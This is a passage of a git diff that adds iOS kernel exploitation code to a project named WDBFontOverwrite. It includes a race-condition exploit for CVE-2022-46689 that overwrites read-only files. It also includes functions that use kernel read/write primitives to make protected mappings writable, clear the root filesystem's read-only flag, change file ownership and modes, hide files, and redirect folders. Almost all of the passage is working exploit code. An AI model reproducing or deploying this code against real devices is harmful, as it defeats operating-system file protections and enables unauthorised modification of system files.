FLAGS_MAXPROT_SHIFT +#define FLAGS_PROT_MASK 0x780 +#define FLAGS_MAXPROT_MASK 0x7800 + +uint64_t getTask(void) { + printf("getpid()\n"); + pid_t pid = getpid(); + printf("uint64_t proc = getProc(pid);\n"); + uint64_t proc = getProc(pid); + printf("[i] self proc: 0x%llx\n", proc); + uint64_t proc_ro = kread64(proc + 0x18); + uint64_t pr_task = kread64(proc_ro + 0x8); + printf("[i] self proc->proc_ro->pr_task: 0x%llx\n", pr_task); + return pr_task; +} + +uint64_t kread_ptr(uint64_t kaddr) { + uint64_t ptr = kread64(kaddr); + if ((ptr >> 55) & 1) { + return ptr | 0xFFFFFF8000000000; + } + + return ptr; +} + +void kreadbuf(uint64_t kaddr, void* output, size_t size) +{ + uint64_t endAddr = kaddr + size; + uint32_t outputOffset = 0; + unsigned char* outputBytes = (unsigned char*)output; + + for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4) + { + uint32_t k = kread32(curAddr); + + unsigned char* kb = (unsigned char*)&k; + for(int i = 0; i < 4; i++) + { + if(outputOffset == size) break; + outputBytes[outputOffset] = kb[i]; + outputOffset++; + } + if(outputOffset == size) break; + } +} + +uint64_t vm_map_get_header(uint64_t vm_map_ptr) +{ + return vm_map_ptr + 0x10; +} + +uint64_t vm_map_header_get_first_entry(uint64_t vm_header_ptr) +{ + return kread_ptr(vm_header_ptr + 0x8); +} + +uint64_t vm_map_entry_get_next_entry(uint64_t vm_entry_ptr) +{ + return kread_ptr(vm_entry_ptr + 0x8); +} + + +uint32_t vm_header_get_nentries(uint64_t vm_header_ptr) +{ + return kread32(vm_header_ptr + 0x20); +} + +void vm_entry_get_range(uint64_t vm_entry_ptr, uint64_t *start_address_out, uint64_t *end_address_out) +{ + uint64_t range[2]; + kreadbuf(vm_entry_ptr + 0x10, &range[0], sizeof(range)); + if (start_address_out) *start_address_out = range[0]; + if (end_address_out) *end_address_out = range[1]; +} + + +//void vm_map_iterate_entries(uint64_t vm_map_ptr, void (^itBlock)(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop)) +void vm_map_iterate_entries(uint64_t vm_map_ptr, void (^itBlock)(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop)) +{ + uint64_t header = vm_map_get_header(vm_map_ptr); + uint64_t entry = vm_map_header_get_first_entry(header); + uint64_t numEntries = vm_header_get_nentries(header); + + while (entry != 0 && numEntries > 0) { + uint64_t start = 0, end = 0; + vm_entry_get_range(entry, &start, &end); + + BOOL stop = NO; + itBlock(start, end, entry, &stop); + if (stop) break; + + entry = vm_map_entry_get_next_entry(entry); + numEntries--; + } +} + +uint64_t vm_map_find_entry(uint64_t vm_map_ptr, uint64_t address) +{ + __block uint64_t found_entry = 0; + vm_map_iterate_entries(vm_map_ptr, ^(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop) { + if (address >= start && address < end) { + found_entry = entry; + *stop = YES; + } + }); + return found_entry; +} + +void vm_map_entry_set_prot(uint64_t entry_ptr, vm_prot_t prot, vm_prot_t max_prot) +{ + uint64_t flags = kread64(entry_ptr + 0x48); + uint64_t new_flags = flags; + new_flags = (new_flags & ~FLAGS_PROT_MASK) | ((uint64_t)prot << FLAGS_PROT_SHIFT); + new_flags = (new_flags & ~FLAGS_MAXPROT_MASK) | ((uint64_t)max_prot << FLAGS_MAXPROT_SHIFT); + if (new_flags != flags) { + kwrite64(entry_ptr + 0x48, new_flags); + } +} + +uint64_t start = 0, end = 0; + +uint64_t task_get_vm_map(uint64_t task_ptr) +{ + return kread_ptr(task_ptr + 0x28); +} + +#pragma mark overwrite2 +uint64_t funVnodeOverwrite2(char * to, char * from) { + printf("Attempting to overwrite %s with %s\n", to, from); +// printf("attempting opa's method\n"); + + int to_file_index = open(to, O_RDONLY); + if (to_file_index == -1) { + printf("filepath doesn't exist!\n"); + return -1; + } + off_t to_file_size = lseek(to_file_index, 0, SEEK_END); + + int from_file_index = open(from, O_RDONLY); + if (from_file_index == -1) { + printf("filepath doesn't exist!\n"); + return -1; + } + off_t from_file_size = lseek(from_file_index, 0, SEEK_END); + + + if(to_file_size < from_file_size) { + close(from_file_index); + close(to_file_index); + printf("[-] File is too big to overwrite!\n"); + return -1; + } + + //mmap as read only + printf("mmap as readonly\n"); + char* to_file_data = mmap(NULL, to_file_size, PROT_READ, MAP_SHARED, to_file_index, 0); + if (to_file_data == MAP_FAILED) { + close(to_file_index); + // Handle error mapping source file + return 0; + } + + // set prot to re- + printf("task_get_vm_map -> vm ptr\n"); + uint64_t vm_ptr = task_get_vm_map(getTask()); + uint64_t entry_ptr = vm_map_find_entry(vm_ptr, (uint64_t)to_file_data); + printf("set prot to rw-\n"); + vm_map_entry_set_prot(entry_ptr, PROT_READ | PROT_WRITE, PROT_READ | PROT_WRITE); + + char* from_file_data = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); + if (from_file_data == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + close(from_file_index); + close(to_file_index); + return -1; + } + + printf("it is writable!!\n"); + memcpy(to_file_data, from_file_data, from_file_size); + + // Cleanup + munmap(from_file_data, from_file_size); + munmap(to_file_data, to_file_size); + + close(from_file_index); + close(to_file_index); + + // Return success or error code + return 0; +} + +uint64_t funVnodeOverwriteWithBytes(const char* filename, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd) { + printf("attempting opa's method\n"); + int file_index = open(filename, O_RDONLY); + if (file_index == -1) return -1; + off_t file_size = lseek(file_index, 0, SEEK_END); + + if (file_size < file_offset + overwrite_length) { + close(file_index); + printf("[-] Offset + length is beyond the file size!\n"); + return -1; + } + +// mmap as read-only + printf("mmap as read only\n"); + char* file_data = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, file_index, 0); + if (file_data == MAP_FAILED) { + printf("failed mmap...\n try again"); + close(file_index); + // Handle error mapping the file + return -1; + } + + // mlock to cache in memory (copying overwritefontimpl) (does this even work) +// printf("mlock: %p\n", file_data); +// mlock(file_data, file_size); + + uint64_t task_ptr = getTask(); + uint64_t vm_ptr = task_get_vm_map(task_ptr); + uint64_t entry_ptr = vm_map_find_entry(vm_ptr, (uint64_t)file_data); + printf("set prot to rw-\n"); + vm_map_entry_set_prot(entry_ptr, PROT_READ | PROT_WRITE, PROT_READ | PROT_WRITE); + + printf("Writing data at offset %lld\n", file_offset); + memcpy(file_data + file_offset, overwrite_data, overwrite_length); + + if (unmapAtEnd) { + munmap(file_data, file_size); + close(file_index); + } else { + close(file_index); + } + return 1; +} + diff --git a/WDBFontOverwrite/fun/vm_unaligned_copy_switch_race.c b/WDBFontOverwrite/fun/vm_unaligned_copy_switch_race.c new file mode 100644 index 0000000..4493a7a --- /dev/null +++ b/WDBFontOverwrite/fun/vm_unaligned_copy_switch_race.c @@ -0,0 +1,368 @@ +// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c +// modified to compile outside of XNU + +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include "vm_unaligned_copy_switch_race.h" + +#define T_QUIET +#define T_EXPECT_MACH_SUCCESS(a, b) +#define T_EXPECT_MACH_ERROR(a, b, c) +#define T_ASSERT_MACH_SUCCESS(a, b, ...) +#define T_ASSERT_MACH_ERROR(a, b, c) +#define T_ASSERT_POSIX_SUCCESS(a, b) +#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_TRUE(a, b, ...) +#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) +#define T_DECL(a, b) static void a(void) +#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) + +struct context1 { + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + volatile bool done; +}; + +static void * +switcheroo_thread(__unused void *arg) +{ + kern_return_t kr; + struct context1 *ctx; + + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + if (ctx->done) { + pthread_mutex_unlock(&ctx->mtx); + break; + } + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch bakc to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, //Don't flag VM_PROT_WRITE + VM_PROT_READ, //Don't flag VM_PROT_WRITE + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; +} + +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd) { + bool retval = false; + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; +#if 0 + mach_msg_type_number_t cow_read_size; +#endif + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; + + ctx = &context1; + ctx->obj_size = 256 * 1024; + + void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ | PROT_WRITE, MAP_SHARED, file_to_overwrite, file_offset); + if (file_mapped == MAP_FAILED) { + fprintf(stderr, "failed to map\n"); + return false; + } + if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { +// fprintf(stderr, "already the same?\n"); + munmap(file_mapped, ctx->obj_size); + return true; + } + ro_addr = (vm_address_t)file_mapped; + + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; +#if 0 + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); +#endif + + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ | VM_PROT_WRITE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, //Don't flag VM_PROT_WRITE + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size * 2, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size * 2); + + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); + memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); + + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + return false; + } + + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; + + pthread_mutex_lock(&ctx->mtx); + + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + + duration = 10; /* 10 seconds */ + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + printf("loops: %d\n", loops); + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); + + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); + + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size - 1 + overwrite_length, + e2 + 1, + &copied_size); + printf("kr? 0x%x\n", kr); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ +#if 0 + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); +#endif + bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; + + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); + + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + if (!is_still_equal) { + retval = true; + fprintf(stderr, "RO mapping was modified\n"); + break; + } + } + + ctx->done = true; + pthread_mutex_unlock(&ctx->mtx); + pthread_join(th, NULL); + + if (unmapAtEnd) { + munmap(file_mapped, ctx->obj_size); + } + + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + +#if 0 + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +#endif + return retval; +} diff --git a/WDBFontOverwrite/fun/vm_unaligned_copy_switch_race.h b/WDBFontOverwrite/fun/vm_unaligned_copy_switch_race.h new file mode 100644 index 0000000..33f3fb1 --- /dev/null +++ b/WDBFontOverwrite/fun/vm_unaligned_copy_switch_race.h @@ -0,0 +1,9 @@ +#pragma once +#include +#include +/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. +/// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. `` +/// `overwrite_length` must be less than or equal to `PAGE_SIZE`. +/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd); + diff --git a/WDBFontOverwrite/fun/vnode.c b/WDBFontOverwrite/fun/vnode.c new file mode 100644 index 0000000..dd2defb --- /dev/null +++ b/WDBFontOverwrite/fun/vnode.c @@ -0,0 +1,272 @@ +// +// vnode.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "vnode.h" +#include "krw.h" +#include "proc.h" +#include "offsets.h" +#include +#include +#include +#include +#include + +uint64_t getVnodeAtPath(char* filename) { + int file_index = open(filename, O_RDONLY); + if (file_index == -1) return -1; + + uint64_t proc = getProc(getpid()); + + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = filedesc_pac | 0xffffff8000000000; + uint64_t openedfile = kread64(filedesc + (8 * file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = fileglob_pac | 0xffffff8000000000; + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t vnode = vnode_pac | 0xffffff8000000000; + + printf("[i] %s vnode: 0x%llx\n", filename, vnode); + close(file_index); + + return vnode; +} + +uint64_t funVnodeHide(char* filename) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //hide file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + printf("[i] vnode->v_flags: 0x%x\n", v_flags); + kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW)); + + //exist test (should not be exist + printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); + + //show file +// v_flags = kread32(vnode + off_vnode_v_flag); +// kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW)); + + printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return 0; +} + +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid) { + + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_uid = kread32(v_data + 0x80); + uint32_t v_gid = kread32(v_data + 0x84); + + //vnode->v_data->uid + printf("[i] Patching %s vnode->v_uid %d -> %d\n", filename, v_uid, uid); + kwrite32(v_data+0x80, uid); + //vnode->v_data->gid + printf("[i] Patching %s vnode->v_gid %d -> %d\n", filename, v_gid, gid); + kwrite32(v_data+0x84, gid); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s UID: %d\n", filename, file_stat.st_uid); + printf("[+] %s GID: %d\n", filename, file_stat.st_gid); + } + + return 0; +} + +uint64_t funVnodeChmod(char* filename, mode_t mode) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_mode = kread32(v_data + 0x88); + + printf("[i] Patching %s vnode->v_mode %o -> %o\n", filename, v_mode, mode); + kwrite32(v_data+0x88, mode); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s mode: %o\n", filename, file_stat.st_mode); + } + + return 0; +} + +uint64_t findRootVnode(void) { + uint64_t launchd_proc = getProc(1); + + uint64_t textvp_pac = kread64(launchd_proc + off_p_textvp); + uint64_t textvp = textvp_pac | 0xffffff8000000000; + printf("[i] launchd proc->textvp: 0x%llx\n", textvp); + + uint64_t textvp_nameptr = kread64(textvp + off_vnode_v_name); + uint64_t textvp_name = kread64(textvp_nameptr); + uint64_t devvp = kread64((kread64(textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + uint64_t nameptr = kread64(devvp + off_vnode_v_name); + uint64_t name = kread64(nameptr); + char* devName = &name; + printf("[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\n", &textvp_name, devName); + + uint64_t sbin_vnode = kread64(textvp + off_vnode_v_parent) | 0xffffff8000000000; + textvp_nameptr = kread64(sbin_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64((kread64(textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + + uint64_t root_vnode = kread64(sbin_vnode + off_vnode_v_parent) | 0xffffff8000000000; + textvp_nameptr = kread64(root_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64((kread64(root_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + printf("[+] rootvnode: 0x%llx\n", root_vnode); + + return root_vnode; +} + +uint64_t funVnodeRedirectFolder(char* to, char* from) { + uint64_t to_vnode = getVnodeAtPath(to); + if(to_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", to); + return -1; + } + + uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references); + uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount); + uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount); + + uint64_t from_vnode = getVnodeAtPath(from); + if(from_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", from); + return -1; + } + + //If mount point is different, return -1 + uint64_t to_devvp = kread64((kread64(to_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + uint64_t from_devvp = kread64((kread64(from_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + if(to_devvp != from_devvp) { + printf("[-] mount points of folders are different!"); + return -1; + } + + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + + kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1); + kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1); + kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1); + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return 0; +} + +uint64_t funVnodeOverwriteFile(char* to, char* from) { + + int to_file_index = open(to, O_RDONLY); + if (to_file_index == -1) return -1; + off_t to_file_size = lseek(to_file_index, 0, SEEK_END); + + int from_file_index = open(from, O_RDONLY); + if (from_file_index == -1) return -1; + off_t from_file_size = lseek(from_file_index, 0, SEEK_END); + + if(to_file_size < from_file_size) { + close(from_file_index); + close(to_file_index); + printf("[-] File is too big to overwrite!"); + return -1; + } + + uint64_t proc = getProc(getpid()); + + //get vnode + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = filedesc_pac | 0xffffff8000000000; + uint64_t openedfile = kread64(filedesc + (8 * to_file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = fileglob_pac | 0xffffff8000000000; + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t to_vnode = vnode_pac | 0xffffff8000000000; + printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode); + + uint64_t rootvnode_mount_pac = kread64(findRootVnode() + off_vnode_v_mount); + uint64_t rootvnode_mount = rootvnode_mount_pac | 0xffffff8000000000; + uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag); + + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY); + kwrite32(fileglob + off_fg_flag, O_ACCMODE); + + uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount); + printf("[i] %s Increasing to_vnode->v_writecount: %d\n", to, to_vnode_v_writecount); + if(to_vnode_v_writecount <= 0) { + kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1); + printf("[+] %s Increased to_vnode->v_writecount: %d\n", to, kread32(to_vnode + off_vnode_v_writecount)); + } + + + char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); + if (from_mapped == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + char* to_mapped = mmap(NULL, to_file_size, PROT_READ | PROT_WRITE, MAP_SHARED, to_file_index, 0); + if (to_mapped == MAP_FAILED) { + perror("[-] Failed mmap (to_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + memcpy(to_mapped, from_mapped, from_file_size); + + munmap(from_mapped, from_file_size); + munmap(to_mapped, to_file_size); + + kwrite32(fileglob + off_fg_flag, O_RDONLY); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + + close(from_file_index); + close(to_file_index); + + return 0; +} diff --git a/WDBFontOverwrite/fun/vnode.h b/WDBFontOverwrite/fun/vnode.h new file mode 100644 index 0000000..ef06669 --- /dev/null +++ b/WDBFontOverwrite/fun/vnode.h 